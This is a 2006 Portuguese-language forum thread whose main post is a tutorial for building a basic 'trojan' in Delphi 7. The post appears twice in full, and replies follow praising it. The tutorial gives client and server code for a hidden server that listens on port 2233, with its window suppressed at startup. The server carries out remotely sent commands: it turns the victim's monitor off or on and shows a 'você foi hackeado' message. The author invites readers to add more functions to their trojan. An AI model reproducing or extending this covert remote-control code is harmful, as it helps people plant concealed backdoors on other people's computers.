Title: [Tutorial] Montando um Trojan Básico
Post by: Hacker Xtreme on 15 de September , 2006, 10:14:55 PM
Post by: Hacker Xtreme on 15 de September , 2006, 10:14:55 PM
Como montar um trojan em Delphi 7?
Neste tutorial montaremos um trojan com duas funções, se quiser coloque mais depois... primeiro abra o delphi e instale o ClientSocket e o ServerSocket...
Instalando
Vá em Component>Install Pakages> Add
Na onde esta o campo pra por o nome coloque isso e clique em abrir...
C:\Arquivos de programas\Borland\Delphi7\Bin\dclsockets70.bpl
Depois ok e pronto!
Vá na paleta Internet e pegue o TClientSocket1
(//http://xtreme.sk8.vilabol.uol.com.br/TClientSocket1.JPG)
Depois de colocar, vá na paleta Standard e coloque 2 Buttons, 1 Edit e 2 Labels organize ele no Form1... O meu fico assim:
(//http://xtreme.sk8.vilabol.uol.com.br/Form1.JPG)
Eu deixei o meu assim :D
Clique no Evento OnConnect do ClientSocket1
E digite
Label2.Enabled := False;
Label3.Enabled := True;
o Label2 é o que esta escrito Conectar e o Label3 é o que esta escrito Desconectar...
Agora vá no Evento OnDisconnect e digite:
Label2.Enabled := True;
Label3.Enabled := False;
Depois no Evento OnError digite:
Label2.Enabled := True;
Depois vá no Properties do ClientSocket1
E digite uma porta... vou por 2233 coloque a sua mas, essa é mais fácil...
No botão Desconectar lá em cima de dois cliques e digite:
ClientSocket1.Close;
Agora de dois Cliques no botão Desligar Monitor e digite:
ClientSocket1.Socket.SendText('1 ');
No botão Ligar Montiro digite:
ClientSocket1.Socket.SendText('2 ');
Depois de feito tudo isso salve e compile ele...
Agora inicie uma nova aplicação no delphi...
Vá na paleta Internet e pegue o TServerSocket1 e coloque no Form...
Depois clique no ServerSocket1 e vá no evento OnClientRead
Apague a palavra begin ficando somente isso:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Em baixo disso digite:
var msg : string;
recv,Entrada : string;
begin
recv:=socket.ReceiveText;
Entrada:=copy(recv,1,pos(' ',recv)-1);
Entrada:=uppercase(Entrada);
Ficando assim:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var msg : string;
recv,Entrada : string;
begin
recv:=socket.ReceiveText;
Entrada:=copy(recv,1,pos(' ',recv)-1);
Entrada:=uppercase(Entrada);
O código acima faz o tratamento dos comandos recebidos...
Agora aperte duas veses a tecla enter e digite:
//Desligar Monitor
if Entrada = '1' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
end;
//Liga Monitor
if Entrada = '2' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;
Explicando quando o cliente envia o número 1, o servidor trata e executa o comando que seria desligar o monitor..
Quando o cliente envia o número 2 ele liga o monitor...
Agora se você quiser colocar mais funções você deve acrescentar no servidor isso:
if Entrada = '3' then
begin
ShowMessage('Você foi hackeado!!');
end;
O número 3 deve ser trocado se quiser tipo você tem 5 funções vai por a 6 você altera o 3 por 6 assim sucessivamente em baixo de begin você coloca o comando ali no caso vai aparecer uma mensagem dizendo Você foi hackeado!!, daí no Cliente você tem que por um botão e no evento OnClick, colocar isso:
ClientSocket1.Socket.SendText('3 ');
Sempre depois do número você deve por espaço... Acho que até ai vocês entenderam... agora vá no Properties do ServerSocket1
e na Port coloque:
2233
No evento OnCreate do Form1 coloque isso:
Application.ShowMainForm:= False;
ServerSocket1.Active := True;
Isso faz com que o Form1 não seja apresentado, faz com que fique invisível... Salve o Servidor... e Compile...[/b]
by Xtreme
Neste tutorial montaremos um trojan com duas funções, se quiser coloque mais depois... primeiro abra o delphi e instale o ClientSocket e o ServerSocket...
Instalando
Vá em Component>Install Pakages> Add
Na onde esta o campo pra por o nome coloque isso e clique em abrir...
C:\Arquivos de programas\Borland\Delphi7\Bin\dclsockets70.bpl
Depois ok e pronto!
Vá na paleta Internet e pegue o TClientSocket1
(//http://xtreme.sk8.vilabol.uol.com.br/TClientSocket1.JPG)
Depois de colocar, vá na paleta Standard e coloque 2 Buttons, 1 Edit e 2 Labels organize ele no Form1... O meu fico assim:
(//http://xtreme.sk8.vilabol.uol.com.br/Form1.JPG)
Eu deixei o meu assim :D
Clique no Evento OnConnect do ClientSocket1
E digite
Label2.Enabled := False;
Label3.Enabled := True;
o Label2 é o que esta escrito Conectar e o Label3 é o que esta escrito Desconectar...
Agora vá no Evento OnDisconnect e digite:
Label2.Enabled := True;
Label3.Enabled := False;
Depois no Evento OnError digite:
Label2.Enabled := True;
Depois vá no Properties do ClientSocket1
E digite uma porta... vou por 2233 coloque a sua mas, essa é mais fácil...
No botão Desconectar lá em cima de dois cliques e digite:
ClientSocket1.Close;
Agora de dois Cliques no botão Desligar Monitor e digite:
ClientSocket1.Socket.SendText('1 ');
No botão Ligar Montiro digite:
ClientSocket1.Socket.SendText('2 ');
Depois de feito tudo isso salve e compile ele...
Agora inicie uma nova aplicação no delphi...
Vá na paleta Internet e pegue o TServerSocket1 e coloque no Form...
Depois clique no ServerSocket1 e vá no evento OnClientRead
Apague a palavra begin ficando somente isso:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Em baixo disso digite:
var msg : string;
recv,Entrada : string;
begin
recv:=socket.ReceiveText;
Entrada:=copy(recv,1,pos(' ',recv)-1);
Entrada:=uppercase(Entrada);
Ficando assim:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var msg : string;
recv,Entrada : string;
begin
recv:=socket.ReceiveText;
Entrada:=copy(recv,1,pos(' ',recv)-1);
Entrada:=uppercase(Entrada);
O código acima faz o tratamento dos comandos recebidos...
Agora aperte duas veses a tecla enter e digite:
//Desligar Monitor
if Entrada = '1' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
end;
//Liga Monitor
if Entrada = '2' then
begin
//Comando...
SendMessage (Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;
Explicando quando o cliente envia o número 1, o servidor trata e executa o comando que seria desligar o monitor..
Quando o cliente envia o número 2 ele liga o monitor...
Agora se você quiser colocar mais funções você deve acrescentar no servidor isso:
if Entrada = '3' then
begin
ShowMessage('Você foi hackeado!!');
end;
O número 3 deve ser trocado se quiser tipo você tem 5 funções vai por a 6 você altera o 3 por 6 assim sucessivamente em baixo de begin você coloca o comando ali no caso vai aparecer uma mensagem dizendo Você foi hackeado!!, daí no Cliente você tem que por um botão e no evento OnClick, colocar isso:
ClientSocket1.Socket.SendText('3 ');
Sempre depois do número você deve por espaço... Acho que até ai vocês entenderam... agora vá no Properties do ServerSocket1
e na Port coloque:
2233
No evento OnCreate do Form1 coloque isso:
Application.ShowMainForm:= False;
ServerSocket1.Active := True;
Isso faz com que o Form1 não seja apresentado, faz com que fique invisível... Salve o Servidor... e Compile...[/b]
by Xtreme
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: tiaguito-.- on 15 de September , 2006, 10:43:22 PM
Post by: tiaguito-.- on 15 de September , 2006, 10:43:22 PM
show de bola kara!curti esse 
^.-
^.-
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: Hacker Xtreme on 15 de September , 2006, 11:14:30 PM
Post by: Hacker Xtreme on 15 de September , 2006, 11:14:30 PM
vlw ai... se precisarem de ajuda em algo... eu sou iniciante em sockets no delphi
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: Anonymous on 15 de September , 2006, 11:24:59 PM
Post by: Anonymous on 15 de September , 2006, 11:24:59 PM
Bom msm mas tem como vc colocar as imagens de novo naum ta aparecendo no meu pc .
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: Dx on 15 de September , 2006, 11:42:40 PM
Post by: Dx on 15 de September , 2006, 11:42:40 PM
Quote from: "Tracking.anr"Bom msm mas tem como vc colocar as imagens de novo naum ta aparecendo no meu pc .
nao tem imagens
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: Anonymous on 16 de September , 2006, 08:23:52 AM
Post by: Anonymous on 16 de September , 2006, 08:23:52 AM
Putz foi mal entaum xD...
É que quando eu abri apareceu akeles quadradim com um X ai eu achie tinha ....
É que quando eu abri apareceu akeles quadradim com um X ai eu achie tinha ....
Title: Re: [Tutorial] Montando um Trojan Básico
Post by: Hacker Xtreme on 16 de September , 2006, 10:40:01 AM
Post by: Hacker Xtreme on 16 de September , 2006, 10:40:01 AM
Tem duas imagens somente... eu tinha hospedado no ueuo.com só que não deu dai hospedei no bol... mas deve ta bloqueando.. quando tiver desocupado eu vejo pra vcs... um bom site pra vcs acharem dicas sobre o delphi é: www.delphi.eti.br (http://www.delphi.eti.br) da pra vc fazer uma festa... e tbm procurando algumas coisas aqui no fórum da pra fazer novas utilidades para o seu trojan...
by Xtreme
by Xtreme